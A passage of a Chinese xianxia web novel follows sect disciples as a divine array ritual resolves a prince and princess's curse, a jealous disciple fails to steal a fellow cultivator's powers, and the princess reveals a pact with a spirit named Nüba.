“原来是这样,怪不得童柔意没有中诅咒。”曾换月若有所思道,“话说回来,常曦这么厉害,她下的诅咒定是无法可解的。天机阁到如今都将偷天神阵奉为第一神阵呢,谁比得过她啊?如果童嘉文不肯放弃皇位,童柔意必死无疑了。” 是这么个意思,几人沉默。 曾换月偷偷瞄了几眼师兄师姐,冷不丁地来了一句:“反正我现下知道了事情真相,我同意童嘉文去死!” “换月,”大师兄瞥她一眼,不轻不重道,“谨言慎行。” 曾换月撇嘴,瞅着很不服气:“这里又没外人,而且就是谨言慎行我也没说错啊,这事从头到尾本该去死的就是童嘉文嘛!师姐师姐,你说对不对?” 石映心正要张嘴说什么便被大师兄打断了:“我们不能决定任何人的生死。” 曾换月跳起来:“大师兄你这人怎么这么……” 大师兄:个_个 曾换月抿了下唇,木着脸道:“这么……客观实在呀,哈哈。” 又蹭到师姐身边坐着,怼怼手指不情不愿道:“我只是帮常曦她们打抱不平嘛……而且我也算是被这些虚假故事诓骗许久的人,感觉自己好蠢哦。” 石映心说:“不蠢,只是一般人不会怀疑这个。” 顾梦真也说:“对啊,谁知道一个神话故事后面还有这样曲折的过往?对寻常百姓来说也只是听个故事罢了……” “不只是故事!”曾换月哇哇叫道,“这样众所皆知、日后还要代代相传的传说是很重要的!要不然他们为何费尽心机地篡改故事真相呢?” 顾梦真“嘶”了一声:“那倒也是哦……” “如今这些传说已在人们心中根深蒂固,再加上人间也被常曦所说的且氏族统治了几千年,恐怕难以拨乱反正。不过……”明易瞅着师弟师妹们怅惘的神色,话锋一转道,“真相就算暂时不能现世,也永远无法被泯灭。” 石映心抬眼看大师兄:“什么意思?” 明易翻开手中的书,这是琼华宫的古画,说是古画,他翻到的那一页其实是一些古字的演变过程,他指着其中一个字道:“你们可认得?” “倒三角。”石映心认出来了,“有些像羲和她们部落的图腾。” 曾换月:“倒三角是当时所有女子氏族部落的标记!” “不错。”明易点点头,“看得出来这是什么字吗?” 从曾换月的角度来看,就是上面一个倒三角下面一个“不”字,瞅着像呆但肯定不是呆字:“不知道啊,反正不是我想的那个字。” 石映心指着下面的“不”字说:“倒三角下面……是祭祀广场的高台。” “喔!”曾换月很有印象啊,“好像好像!所以这是什么字?” 顾梦真迫不及待道:“大师兄你还会卖关子了!” 明易无奈,他只是没某三人那么着急罢了。 石映心嘴上不催,只是把大师兄的手扒拉开,自己哗啦啦地往后头翻,就见这字不断地变复杂又变简单,形变而神不变;随着最后一声哗啦,它几经辗转来到了如今—— 原来是“帝”。 皇帝的帝,帝王的帝,是要登基的那个帝,是如今只有男子可称号的帝。 见三人愣神,明易微微一笑:“还没同你们说,倒三角在常曦羲和那个时候意味着什么……” “我知道。”石映心忽然说。 在师兄妹的注视下,她稳重地阐述了这古老的、永恒的真相:“倒三角就是女·阴,帝字的初义是女·阴。” 明易颔首:“不错。” “噢~”顾梦真若有所思,“是哦,毕竟那时候人们的思想都很简单粗暴嘛,要区分性别的话自然是以肉·身特征来分了,所以才说男子是‘且’氏族啊……” 曾换月的眼睛睁得大大的,嘴巴也合不上了:“所以这个意思是……从古至今的男皇帝,他们自以为只有男人能配得上的帝位……其实头顶着的是对女·阴的崇拜?哪怕他们自己不知道……但是这完全就是……” 顾梦真忍俊不禁:“来自上古时期的嘲讽?” 曾换月脸上忽然一抽,一个奇怪的笑:“就是要将它高高戴着,难道他们不是从女人**生来的?” 顾梦真:“哈哈哈哈!那倒是哦!” 真是话糙理不糙,明易无奈地叹了口气,余光始终没离开某人的反应,见她似乎是在放空想着什么,便静静地等了一会后问:“怎么了?” 石映心回神来,朝大师兄笑了笑:“我明白了。” 师兄妹都好奇地问:“你明白了什么?” 石映心说:“原来真相才是世上无解的诅咒,不论沧海桑田,日新月异,如何也逃不开它的咒语……” 说着,她感到腰间有什么在发烫,拿出来一瞧原来是因果牌,那两句诗词在众目睽睽之下一并消散,余下空白的牌面。 “身与名俱灭,日同月共亡。”镜灵喃喃道,“灭亡又如何?只要世上还有太阳,还有月亮……一切就会重头再来。” 第112章 还未解决公主皇子的难题,她们的任务就先完成了。真是始料未及又叫人茫然的惊喜。 小师妹惊讶中忍不住笑出来:“哎呀,这是什么意思啊!” 石映心冷静分析道:“意思是死的是皇子还是公主都不归因果牌管了。” 明易接过师妹手中的因果牌看了看,心下也很诧异:“怎会如此?” “等等啊大师兄,”顾梦真忽然灵光一闪,“严格说起来哦,护送四皇子是陶远师叔指派的任务,因果牌虽说是给了提醒,但是有没有可能其实万事树想让我们做的事和陶远师叔的任务不一样,只是有关联呢?” 明易俊眉一抬:“你说的很有道理。” “那万事树想让我们干嘛?”曾换月动了动脑筋,“去画阵中看故事?” 这么说太简单了,明易谨慎道:“也许是处理画阵的阵眼,阻止它再杀人。” “有道理!”曾换月笑道,“这么看还是多亏了师姐那神来一剑!常曦说只给我们这一次机会呢,果然犹豫就会失败。” 石映心缓缓地点了下头:“所以童柔意……怎么办?” 曾换月眼珠子一转:“其实我看因果牌这意思就是由着我们乱来嘛!” 可她大师兄不由着:“换月,正派弟子如何能乱来?谨言慎行。” 曾换月:←← 顾梦真摸摸下巴:“不过严格说起来哦,陶远师叔只是让我们护送四皇子到天机阁,没说到了天机阁还要保他性命啊。那我们现在是送到了。” 曾换月偷笑:“就是就是!” 明易:深呼吸。 “好了。”他冷眼撇过两个不省心的,“这些话不许在外人面前说,更不许怂恿姬滢她们。” 二人:→→ 这时候,看着很省心的那个师妹发问了:“大师兄,你的意思是遵循童柔意的意愿吗?” 明易望向她,微微点了点头。 省心的师妹:“不掺和她们的因果。” “是。” 省心的师妹:“我明白了大师兄,既然因果牌的指引已经消失,便说明我们应该置身事外了。” 老天奶,师姐(师妹)居然会说这样的话?二师兄小师妹皆是诧异地看向她,只有大师兄欣慰地点了点头:“映心,还是你懂事。” 懂事的师妹:“我是懂事的。” * 十五月圆之夜,天机湖边聚集了不少弟子在祭祀月神,月色下的火光温柔地跳跃着;与此同时的月临殿中是空荡的寂静,石映心等人站在辽阔的圣地外沿,看着妙望站在圣地中央,左右两边打坐着公主和皇子。 昔日的祭祀广场如今变成了空旷的月临殿,常曦绘在莽苍大地上的偷天神阵,如今沉睡在这块圆形的月白石祭坛下,石面上一层层一圈圈地雕刻了细致的图案,姬滢说这些图案其实是长老们研究的密阵,为了限制偷天神阵的神力。 这会妙望要做的便 是解开月白石上的密阵,释放偷天神阵的神力,如此替换童嘉文和童柔意身上的诅咒。月白石上的阵法环环相扣,每解开一环就有一圈灵光亮起,层层往阵法中央靠近,这会已经解了大半,圣地亮了外半圈。 石映心打量了圣地内的几人,每人都是各怀心思。 首先是站在阵法中央阖着眼专心解密阵的妙望,因这是个费劲费时间的活,她非常专心致志、心无旁骛;其实石映心能感觉到,妙望对谁死谁活的事情是全然不在意的,她只是在履行身为阁主的责任。 童柔意还是童嘉文,二人在她眼中并无区别;谁登基谁死,都是远在人间的事,她无心管。 相比较之,心里希望达到妙望阁主这个境界的大师兄,原本就没什么表情的一张脸这会不自觉地微蹙着眉头,看得出他心中有很多沉闷。但大师兄就沉稳在足够冷静和理智,就算心中有别的心思,也能做出客观的决定。 再和他对比,二师兄小师妹还有姬滢姬漓黎为夏就有些怒形于色了,在妙望开始之前还好赖话都说地劝着童柔意,可惜后者不领情,整得她们挺郁闷的。 至于周赫和徐舟……不知为何他俩有些心不在焉的,瞅着关注着场上的动静,但脑海里好像在想别的。石映心对这二人也不太感兴趣。 最后是皇子和公主,前者自然是很兴奋激动,不安只有一些;公主的面上瞅着很冷静,仿佛已经认命,小师妹说她这叫“死感”,大概是说人还活着其实已经走了有一会的意思。 二师兄在边上听了吐槽:“她也不用这么着急走,迟早的事。” 小师妹怒其不争道:“反正我不管她了!” 二师兄:“我也是!” 姬漓咬着牙说:“尊重他人命运!” 姬滢:“嗯。” 黎为夏摇头叹息:“想不明白啊想不明白……” 想不明白童柔意为何想不明白吗? 石映心倒是很明白。 祭坛上的灵光越来越亮,一圈一圈地朝妙望逼近,最后猛然在她脚下迸发出刺眼的光芒,一瞬间将她吞噬其中;但很快就见她飞身而起,停在空中宛若被灵光高高捧起的神女,垂眸低吟着神秘的咒语,回应着阵法的召唤。 偷天神阵…… 似乎同千年前并无区别。石映心想。 大殿内灵光四溢,飘散着无数光点,殿顶的琉璃照下,月色变成一片片仿佛触手可及的薄纱。 妙望施法完成,从空中飞了下来,脸色莹白:“凡人之躯受不得刺激,我延缓了阵法的时限,待一刻钟过后便能大功告成。你们在此处守着,我还有要事,先行一步。” “是,阁主。” 妙望阁主走后,只剩下小辈了,气氛便有些懒散。曾换月仰着脑袋转圈圈:“哇塞,别说这整得还挺好看的……不过还是没有画阵中常曦启动偷天神阵的时候震撼,那是真的惊艳,有点吓人了都。” 姬漓羡慕道:“早知道我也跟进去了,听姬滢说了之后感觉也不危险啊,很有趣嘛。” 姬滢摇摇头道:“阁主算的是最不容易出错的情况,再多一人少一人便不一定了。” 姬漓嘿嘿:“那确实。” 徐舟和周赫还没这一手消息呢,你一嘴我一嘴地问了起来。可黎为夏等人在说的时候,也没见他们很认真地听,时不时地瞅一下祭坛上的情况,应是记挂着阁主的嘱咐。 明易则是心无旁骛地盯着公主和皇子的情况,连眨眼都很速度,仿佛怕出现什么意外…… “大师兄?大师兄。”石映心叫他一声没反应,于是戳戳大师兄胳膊。 明易微微侧头,目光不移:“怎么了?” “你盯得这么认真,眼睛不累吗?” “……不累。” “还要多久?” “半刻钟。” “哦,那是快没时间了。” 明易不疑有她:“嗯,你再耐心等一会。” 等一会。 “大师兄,大师兄。” “怎么了?” “你看,我上次被蟾蜍溅到毒素的地方,不知道为何……”她居然停在这里。 明易转头看她伸来的手,上下左右地打量了一会,没有什么异样啊,只是上次的黑坑不见了,这是为何?他正想问一句,忽然听边上的小师妹惊呼一声:“我去——什么鬼!?” 明易回头望去,就见月色的灵光中,有一团青色的烟雾笼罩在公主上方,此刻正源源不断地从七窍进入童柔意的体内。 黎为夏惊诧道:“这是什么情况?” “夺舍。”明易眉心一蹙,手上已握住了寒竹剑,但并未轻举妄动,只是飞快道,“快去告知阁主。” 姬漓转头看向两个师兄:“快去啊!” 两个师兄异口同声:“你去!” “你们干嘛不去?” “我在这守着。” 姬漓丈二和尚摸不着头脑,回头看了姬滢一眼,她正在和明易说话;情况紧急,她也想不了太多,急忙往殿外飞去。 姬滢这会正在阻拦明易:“偷天神阵显灵中,不可轻举妄动。” 明易绷着神经:“怕是阵成后来不及了,若是马上破阵会如何?” 姬滢木着脸:“不知道,最坏就是都死了。” “童柔意被夺舍之后会如何?” “不清楚,不过……”姬滢望向祭坛,“我看得出来那团青烟是在借着偷天神阵的神力夺舍。” “不止如此。”徐舟在边上,脸色有些凝重,“看见那条红线了吗?青烟在吸收阵魂的诅咒。” 诅咒?曾换月迫不及待地问:“什么意思?它是在帮童柔意吗?” 顾梦真瞪眼:“大师兄不是说在夺舍?” 黎为夏抱头:“什么啊什么意思啊!到底什么情况!” 眼下的情况真是不好说的,明易捏着剑柄的手紧了紧,转头看向师妹,见她老神在在的模样,自己反倒有些不知所措了:“映心……” “怎么了大师兄?” 明易望着她澄澈的双眼,深呼吸,吐气:“你觉得我该如何?” 石映心一脸无辜:“大师兄,我们不是说好了要置身事外吗?” “置……”他这下居然笑出来,看得边上的师弟妹有些惊悚,“原来这就是你的打算。” 石映心摇摇头:“我什么都没有打算,什么都没做。” 二人对望着,边上还有两个不敢说话的盯着她们对望。最后还是明易微微摇头,冷静道:“罢了,回去再说。” 石映心:OO 曾换月一眼看出师姐是在装傻充愣,但她还不明白二人这段加密对话到底在说什么,现在也不是多问的时候…… 二师兄忽然怼怼她,语气古怪道:“喂喂你快看童嘉文,他怎么一副要死的模样?” 第113章 几人闻言看去,可不是嘛,虽说青烟笼罩在童柔意上头,但她神色平静、毫无波澜;反倒是一边的童嘉文,面如土灰、表情有些狰狞,紧紧闭着的眼睛似乎很想睁开,但却是越闭越紧,边上的皱纹也越发狰狞。 姬滢先是直勾勾地看了一会,突然说:“不对,青烟吸收的不是诅咒,而是诅咒中的神力,它在利用偷天神阵将神力与咒力分开,而童嘉文现下正遭受的是咒力,怕是不久便要……” 她话音未落,忽然边上蹿出去一个人影,定睛一看,竟是周赫跑去了童嘉文身边,正朝她大喊道:“姬滢,还不快过来制止阵法,不然这二人都要死了!” 姬滢有些愣神:“周师兄,你……” 周赫面色着急地大喊:“你没听明易说吗?这青烟正在夺舍童柔意,又吸取了诅咒中的神力,若是它在童柔意体内附身,岂不是死了两个人、多了一个邪物!?快来同我一道打断阵法,及时止损!” 姬滢有些犹豫,她并不觉得青烟是要杀了童柔意,但目前的情况来看,童嘉文确实必死无疑;而青烟夺舍童柔意后,童柔意死没死似乎也不重要了…… “你还在犹豫什么!等阁主过来就来不及了!” 姬 滢眉心一蹙,起身飞上了祭坛。 坛下几人面面相觑,都不敢随意动作。石映心瞧见徐舟身侧的拳头在微微发抖,仿佛很担忧的模样。 她盯了两瞬,召出了帝血剑。 如今阵法围绕着公主与皇子,周赫在童嘉文身旁,姬滢则落在童柔意边上,抬头望着在月色中缥缈的青烟。 它究竟是什么? “姬滢!”听到周赫的叫唤,她转头望去,就见空中飞来了什么,伸手一接,是她的罗盘,“今早修好了,差点忘了给你,现在正是派上用场的时候!” 姬滢抬眼看向她师兄,点了点头:“嗯。” 二人便开始施法断阵。 姬滢将灵力汇入罗盘,操控蜥蜴骨转动,转着转着她蓦地一顿往手上望去,就见她明明停止了施法,但罗盘依旧不停地转动着、源源不断地吸收着她手中的灵气,翻过手一看,竟是手心中长出了一条红线,连着罗盘上的蜥蜴骨,蜥蜴的口中又有一红线,连着不远处的龟壳。 “周师兄,”姬滢还算冷静,“这是什么?还有……为何我的罗盘不受我的控制?” 周赫只是抬眼瞥了她一下,低头继续操作。 姬滢心中犹豫,虽然有强制将罗盘甩开的冲动,但她感到罗盘已被周赫的龟壳牵引着和童柔意她们所处的阵法融为一体、相互纠葛,若是贸然制止只怕大事不妙。 无奈,她只好稳下心情去感受红线的动向,试图搞清楚周赫拉她进入这个陷阱的目的是什么。 “姬滢她们在做什么?怎么感觉怪怪的……”曾换月皱眉瞪眼盯着祭坛上的动静,敏锐地感到一些古怪,“等等,这不是破阵术吧?我看像是……融入了另一种阵法?” “啊?”顾梦真茫然,“什么意思啊大师兄?” 他大师兄自然也看出了不对劲,但看得出来是一回事,没招是另一回事,他一个剑修能干嘛?只心中着急为何妙望阁主还不来,自己也不敢离开,生怕现场出事:“梦真,你快去找阁主……” 话音未落,又听小师妹惊呼:“师姐!” 急忙扭头看去,石映心不知何时窜到了徐舟身边,帝血剑正架在对方脖子上呢,吓得对方脸色苍白:“石、石道友,你这是做什么……” 石映心问他:“周赫要做什么?” 徐舟嘴角一抽,小幅度而快速地摇了摇头:“我、我不知道啊!有话好好说,你先把剑放下来……” 明易简直一个头两个大,正想传密音问师妹发生什么事了,就见她扭过头来朗声道:“周赫偷学了禁阵,要和姬滢交换体内功法!” 徐舟面色掩不住的惊诧:“你怎么……” 曾换月尖叫:“他干嘛啊!?” 石映心说得很大声,祭坛上的姬滢自然也听见了,她本就有察觉自己的法力一直被红线顺走,隐隐约约有些朦胧的想法,但并不确定,毕竟她哪里学过禁阵?这会听见石映心的话,立刻明白了:“斗转星移阵。” “不错。”周赫抬眼看她,手中操作着灵力不停向龟壳输入,“正是斗转星移阵。” 姬滢眉心微蹙,眼中似有些疑惑:“为什么?” “为什么?”周赫嗤笑一声,“我连凭己之力启动斗转星移阵的资格都没有,只能借用偷天神阵的神力,还要想方设法沾染童嘉文的气息才能掩饰自己不被阵法排斥……你还问我为什么?” 姬滢了然道:“难怪……难怪你在途中又是带干粮给他吃,又是将龟壳借给他取暖……你原本也不是这么贴心的人。” “不错,但现在发现也晚了。”周赫呵呵笑道:“姬滢,你修为略胜于我,论天赋是我们这辈弟子中的佼佼者,我用斗转星移阵交换你我二人的修为和功法,想来你很快便能适应。这些年的师兄妹情谊,我没想害你,只是想精进我自身的功法罢了!” 姬滢沉默地看了他两瞬,语气冷淡:“自幼修行以来,师父和阁主便多次警示,我们天机阁男女弟子修习的功夫大有不同,不可杂糅,否则轻则走火入魔,重则……暴毙身亡。师父她们也从未隐瞒过,女子的功法比男子的更好修习……” “不必说了!”周赫大声道,“这些都是阁主她们的谎言!她们就是偏心女弟子,所以才有男女之别!天机阁中能入元婴的男弟子与女弟子数量相差八九成,能入化神的更是寥寥无几!难道真是我们男弟子的天赋不如你们?既然如此,不是更应该传授我们更厉害的功法取长补短?” “天机阁本就女多男少。” 周赫:“因为师父她们也偏向于多收女弟子!” 姬滢微微摇头:“德不配位,必有灾殃。周赫,你为何还是不明白?” “究竟是我不明白还是你们为偏心故弄玄虚、掩人耳目?”周赫冷笑一声,“来月事的时候说成有月神庇护,呵,姬滢你不觉得可笑吗?怎么,就因为我来不了月事,就不配有月神庇护了?难道月神也同阁主和众长老一般偏心!?” 姬滢:“你没来过又如何知道是在故弄玄虚?” “话里话外,总之是我们天生不如你们罢了!” “门派中也有不少出凡入胜的男子修道者,长老之中也有几位……” “总之是比女子少了许多,这毋庸置疑吧!”周赫越说越激动,脸上有些怒火,忽然一指台下的明易道,“同为男子,为何其他门派皆无男女分功法一说,更没有男女天资差别一论?可见就是天机阁徇私偏向!” 姬滢叹了口气:“所有弟子早在入门前就会被告知男女功法不同这件事,你如今是后悔了?” “不是后悔,只是没想过如此荒唐!”周赫咬牙道,“偏偏天机阁是八大洲内阵法卜术最盛的门派……你叫我如何选?” “你若是这么钻牛角尖,我也没办法。” “我看你是无话可说了!” “……” 台下几人:OO 说实话现在真是乱成一锅粥了。情况怎么会变成这样呢?她们皆有些迷茫。顾梦真已经出去找妙望阁主了,但她们迟迟不回来,等待的时间每一瞬都很漫长。 焦心之中,石映心冷不防道:“阵法快完成了。” 大伙皆是神经一绷,目不转睛地注意着祭坛上的情况。 上面吵到这里了: 姬滢其实觉得这个剧情交给她非常为难,因为她实在不善沟通;但又庆幸是她,毕竟不是她很可能就是姬漓,她可不想姐姐遭到这样的无妄之灾。 事到如今,她依旧用自己看来“好声好气”但别人听来很冷漠冷淡的话劝道:“周师兄,及时止损吧,否则得不偿失的是你。师父她们说男女功法不可兼修一定有她们的道理,你不要再……” “不!”周赫义无反顾地大喊道,“我就要试试你们女子的功法在我身上有如何的反应!我定要打破天机阁长久以来瞒天过海的谎言!” 打破谎言之后呢?或是发现这不是谎言之后呢?为何他没想过后果? 比起生气,姬滢更多的是不解,她曾听姐姐提过周师兄经常似有似无地介怀她们天机阁女子的功法比男子的厉害这回事,但确实没太放在心上,毕竟这是所有弟子都知道的事啊;而且师父她们也常说勤能补拙…… 她皱着眉头,望着周赫通红的双眸,心里有些不好的预感;再抬头来,瞧见萦绕在童柔意顶上的青烟,脑子里真是一片混乱,渐渐地感到一些可恨的无力和悲哀。 世人为何总是自欺欺人,总是甘愿糊涂? 她微微叹了口气,望向周师兄,一改方才劝说的画风,冷言道:“好,若是我告诉你,你的因果搞错了呢?” 周赫一愣:“什么意思?” 姬滢说:“男子在占术阵法一事上确实天生不如女子,天机阁男女功法不同是因为要降低功法难度,来适应男弟子的天赋;而不是因功法不同导致男女修为有别……” “一派胡言!” “阁主和众长老不说明真相是顾忌你们的尊严……” “闭嘴!”周赫大吼一声,身上竟迸发出阵阵黑红的邪气,“阵法将成,到时你们的谎言便会不攻自破!” 明易听到边上的徐舟诧异道:“他竟走火入魔了……” 他转头看去,后者碰上他的视线,很快又将视线逃离。 心虚得可疑。 对于天机阁几位道友的情况,明易并不了解也不想了解太多,如今这局面,他只能秉持着能帮忙就帮一把、帮不了就算了的原则,毕竟是别人门派的事,他不掺和才好。对了,还要记得看住师弟师妹让她们别添乱,尤其是映心…… 映心? 明易扭头一看,石映心人呢!? 耳边传来尖叫:“师姐你干嘛!!” 阵法将成,祭坛上光辉大作,其中夹杂着不可忽视的黑红邪气和青烟;石映心就在这时提剑往其中飞去—— 明易压根来不及阻止,正要起身追上去,却见祭坛中迸发出一阵势不可当的气势,轰然一声将他震开,混乱之中他隐约瞧见有两个身影从殿门方向飞来…… 来晚了,几位。 第114章 烟雾缭绕,一片迷蒙。双眼瞧不清的时候,人就容易昏昏沉沉。 方才来自阵法的冲击明显不同寻常,明易倒在地上感到全身被震得发麻,他强撑着站起来,一时有些脱力。挥挥手将眼前的烟雾散开一些,他瞧见曾换月倒在边上,双眼闭着似乎晕过去了。 映心呢? 于是往祭坛上走去,朦胧中没走两步,忽然感到一片光亮从上而来,明易抬头望去,是月临殿琉璃顶洒下的月光,自上而下如倾盆大雨一般,却轻柔地将无尽的迷雾无声无息地驱散了。 世间总算清明。 祭坛上的情景也明朗了:姬滢倒在姬漓怀里,边上的公主昏睡着;映心提着剑站在边上发呆,瞧着是安然无恙的;妙望阁主站在周赫和童嘉文面前几步远,后者不省人事地倒在地上,前者半跪着在吐血。 明易跳上祭坛,见妙望转眼看来,但很快就移开了视线,落在了他身后的徐舟身上,面上没什么情绪道:“这便是你们筹谋许久的计划?” 徐舟脸色苍白,不知是不是方才被阵法冲击的缘故,他没回话,只是垂着脑袋长长地叹出一口气。 “咳……不关师兄的事……”周赫抬眼看阁主,有气无力道,“是我……规划的一切……” 妙望阁主冷漠道:“知情不报,当属同罪。你二人违背师门祖训,偷学禁阵,谋害同门,已是犯了大过,天机阁再容不下你们。待隔日领了刑罚,收拾收拾走吧。” 周赫咬着嘴巴没说话,徐舟则是跪了下来:“弟子知错,愿受惩戒,日后虽离师门,亦永记天机阁栽培之恩,无以为报……” 姬漓忽然高声道:“阁主,姬滢的功法被禁阵转移,如今修为大减,白费了这么多年的心血,您不能就这么轻易地放过他们!” “你急什么,我自有办法帮她。”妙望轻声叹了口气,又道,“方才我不也说了,叫他们二人先去领罚?” “……” 姬漓只是怕这罚太轻,她看了看怀中闭眼休息的妹妹,真是要气死了,转头又瞪了一眼跪在那的周赫,忍不住大骂道:“周赫你这个贱人!枉我和姬滢把你当师兄相待,你却这么对我们!你不就是嫉妒姬滢天赋比你好修为比你高?自己废物还自欺欺人,以为是功法的错!你简直、简直卑鄙无耻!” 她噼里啪啦地骂一大通,骂得怀中的姬滢都忍不住皱了眉头,想要离她姐姐的胸膛远一点,里头传出来的响震得她脑壳疼。 倒是被骂的当事人仿佛没被骂道,只是瞥了她一眼后,仰头望着妙望阁主,气喘吁吁地问:“阁主……为、为什么……” “为什么?”妙望俯视着他,一对毫无波澜的眉宇,“你用斗转星移阵将姬滢的功法传入体内,修为没有大涨,经脉却不堪承受而爆裂……月满则亏,水满则溢,如此答案难道还不明了吗?” 周赫怔然地盯着她,苍白的双唇微张,却说不出话来。 “我明白了。”这时候,某个看热闹的石道友说,“也许是你话本看多了,常常见主人公好运得到机遇,有得道高手将自身的功法尽数传给他……” 说到这她顿了顿,摇了摇头,嘲讽地替他惋惜道:“但你看得不够仔细,一般这类情节发生之前,那高手都要夸一番此人如何‘天赋异禀’‘骨骼清奇’,如此才能承受盖世无双的功法。” 话里话外什么意思大伙都听明白了,周赫更是郁闷得又吐了几口血,在那疯狂地咳嗽。 妙望先是对石映心说“果真多读书能学到许多”,算是夸她了;又瞅了眼周赫,无奈地摇了摇头,转身打算走…… “阁主!”这不死心的人发出最后的疑问,“咳……修炼天机阁功法……男子真的不如女子?” 往常这时候,不管是阁主还是众长老各师父,在遇到此问题时都会给出一个鼓励式的答案,比如“功法是死的人是活的”“勤能补拙”“每人适合的功法和修炼方式都不同”…… 如此来告诉弟子们:别想这些有的没的改变不了的,你就好好修炼吧! 可今日,她只是微微侧过脑袋瞥他一眼,轻飘飘道: “是又如何?” * 童嘉文死了。 这是妙望阁主走后,明易和姗姗来迟的二师弟以及三师妹一起收拾残局的时候发现的。顾梦真先是推了推童嘉文,本想将他喊醒,但以为他睡得很沉,便打算像黎为夏抱童柔意那般把他抱起来走,但这一抱就有些不对劲了—— 咦,怎么人凉凉的? 连忙又放下来,探他鼻息,静谧片刻后尖叫道:“大师兄!映心!你们快来啊!童嘉文好像死了!” 正在说话的明易和石映心对视一眼,快步朝他走去。 不远处昏睡在地上的曾换月也被吵醒,捂着脑袋坐起来,一脸茫然地左顾右盼。这时候姬漓已经带着姬滢走了,徐舟也扶着周赫离开,大殿内只剩下她们归壹派四人和黎为夏再加上两个凡人,瞧着人又多又少的,场面有些冷清。 她记得刚刚好像听到……童嘉文死了? 那童柔意呢? 曾换月从地上爬起来,有些晕乎乎地朝师姐和师兄走去,走近了,正好听到大师兄语气冷静道:“确实是死了不错,应是在阵法中受诅咒反噬死去的。” 石映心也很淡定:“那看来童柔意没事了。” 顾梦真左看看右看看:“不是说青烟在夺舍童柔意吗……那现在她体内……” 几人便望向黎为夏怀中的童柔意,她还在昏迷着;黎为夏见几人看来,苦着脸笑了笑:“真是太混乱了,我现在根本不清楚到底发生了什么。” 曾换月其实也有这样的感觉,事到如今,她只想好好休息:“唉,不管了,反正什么事等童柔意醒来再说吧……我好困好累啊,师姐,我们先回去休息吧?” 石映心点点头,又问:“童嘉文的尸体怎么办?” 曾换月:“死都死了,还管他做什么?随便扔在哪里,等童柔意处理吧。” 说的也是:“好。” 于是大伙决定先回去休息,路上明易问师妹方才为何要冲进阵法中去,石映心解释道:“周赫走火入魔了,我看见斗转星移阵将邪气往姬滢体内传送,便想将它阻拦下。好在周赫修为一般,他的心魔也很弱,一剑就没了。” 原来是这样,明易松了口气:“做得不错,不过下次最好说一声。” 石映心点点头,又道:“我不觉得有什么危险。” 明易:“就是你不觉得,我们也会担心。” 石映心:“知道了。” 嘴上答应着,其实心里想的是:既然没有危险,那先说和后说有什么 区别呢?总之不想听大师兄唠叨,还是先应付了。 但她提到这个,曾换月就有个疑问:“既然这样,师姐你不斩那奇怪的青烟是因为它很厉害吗?” 石映心看看她,又看看月色明亮的夜空,眨眨眼睛:“是比周赫的心魔厉害。” 顾梦真奇怪道:“它究竟是什么?” 看来一切还得等童柔意揭晓答案了。 现下她们的任务已经完成,公主皇子的生死难题也有了答案,就算过程中意外频发混乱得很,但还是尘埃落定了。 接下来就可以休息休息、收拾收拾准备回家过年了! 师兄妹四人都是如释重负,折腾这一遭,他们回门派的心情很迫切。 所以在连续三日公主都没醒的时候,在天机阁清闲了几日的四人都有些坐不住。明易提议把公主带回门派观察,但石映心却说带回去好麻烦,不如留在这里麻烦天机阁。 明易这会觉得有些奇怪,但没说什么。 好在第四日的时候,童柔意总算是醒了。大早上姬漓就来通知她们,一句话就把还在睡觉的曾换月给真清醒了,赶紧跳起来跟着师姐去楼下看童柔意。 进屋时,就见童柔意坐在桌边喝粥,脸色瞧着还行,竟然不苍白。见她们好几人一起涌进屋里来,她也不慌不忙的,坐在那客气地问了好,还多谢她们的救命之恩。 “算不上什么救命之恩……”黎为夏挠挠头,“不过你应该知道了吧?四皇子死了的事。” 童柔意点点头:“今早起来时发现我还活着,便知道他死了。” 听她语气很平静哦,姬漓便直白道:“我看你也不是很意外的模样,是不是该和我们解释一番在阵法中你头顶上冒的青烟是怎么回事?” 童柔意闻言,看向她:“我不知如何解释,也许你们说的不错,我确实算是被夺舍了。” 曾换月挑起眉毛打量她:“是哦?那现在和我们说话的是谁?” 童柔意:“童柔意。” 曾换月:“你又说自己被夺舍了?” 童柔意微微摇头:“我只是和……一个妖怪做了交易,她要借我的身体重生,我要她帮我杀了童嘉文,就是这么简单。不过她说自己如今妖法衰微,就是夺舍我也很不容易,所以要借偷天神阵的神力……正好一举两得。” 和妖怪做交易?几位仙人面面相觑,还是明易先反应过来:“难道和我们在桃林塞中借给你的青蛋有关?” “是。”她很快承认了,“里面藏着一个妖怪……” 姬漓想起来了:“那是生旱魃的蛋,所以里面的妖怪是旱魃?” 童柔意笑了一声:“我原也以为是这样,不过她自己说她是神。” “神?” “她说自己是天神女魃。”童柔意道。 第115章 天神女魃? 除了姬漓和顾梦真一脸茫然,其余人皆是有些晃神, 黎为夏瞪了瞪眼睛:“等等,我好像在哪里听过这个……” 【……姬有熊虽有应龙相助蓄水,但大酋长请来风伯雨师、纵大风雨,我们早有在暴雨中作战的准备。没想到姬有熊竟请来天神女魃,一时风雨尽去,大地干旱……总之,打了我们个措手不及。】 黎为夏:“是助姬有熊打败大酋长的天神女魃?!” 童柔意微微颔首:“似乎听她说过这件事,不过我以为她是想妖言惑我。” 曾换月嘴角一扯,满眼不相信:“别闹了,怎么可能嘛。若她真是这么厉害的天神,怎么会沦落到如今的下场?被封在一颗蛋里,生出来的是连凡人都打得过的妖怪旱魃,甚至连夺舍都做不到……” 话里话外的意思是:就这,还能帮姬有熊打败大酋长呢? 童柔意以为然:“我也这么想。” “喂喂,你们太小瞧我们天机阁的偷天神阵了吧?”姬漓忍不住插了句嘴,“像旱魃这等小妖怪遇见偷天神阵都要魂飞魄散了,怎么可能有本事反之利用神阵来夺舍,甚至投机取巧只吸收月神诅咒中的咒力?反正我没这本事,就连周赫都是用禁阵以身入局的……” 明易听明白了:“姬道友的意思是,夺舍公主的青烟真是天神女魃?” 姬漓噎了噎,虽然自己也有些不可置信,但还是说:“总之是个厉害人物……那可是偷天神阵。” 石映心:“所以妖怪旱魃是天神女魃生的?” 说到这顿了顿,仿佛发现了证据般:“哦,都有个魃字。” 这到底是像巧合的证据,还是像证据的巧合,简直没法说。 顾梦真本来就没进画阵中,对这个什么天神女魃不太了解,这怎么又和妖怪旱魃扯上关系了呢?这些混乱的线索在他的脑子里打结,整得他好烦啊:“到底什么情况,能不能让那个女魃自己出来说清楚?” 童柔意:“行啊。” 众人:OO? 啊,真行啊? “不过她很微弱,还未恢复完全,”童柔意好商量道,“不管她是神是妖,还请几位仙人放她一条小命,毕竟她如今在我体内,杀了她就是杀了我。” 后面那句才是真心话吧公主。 大家说自然自然,她们虽以斩妖除魔为己任,但不杀好妖好魔的。 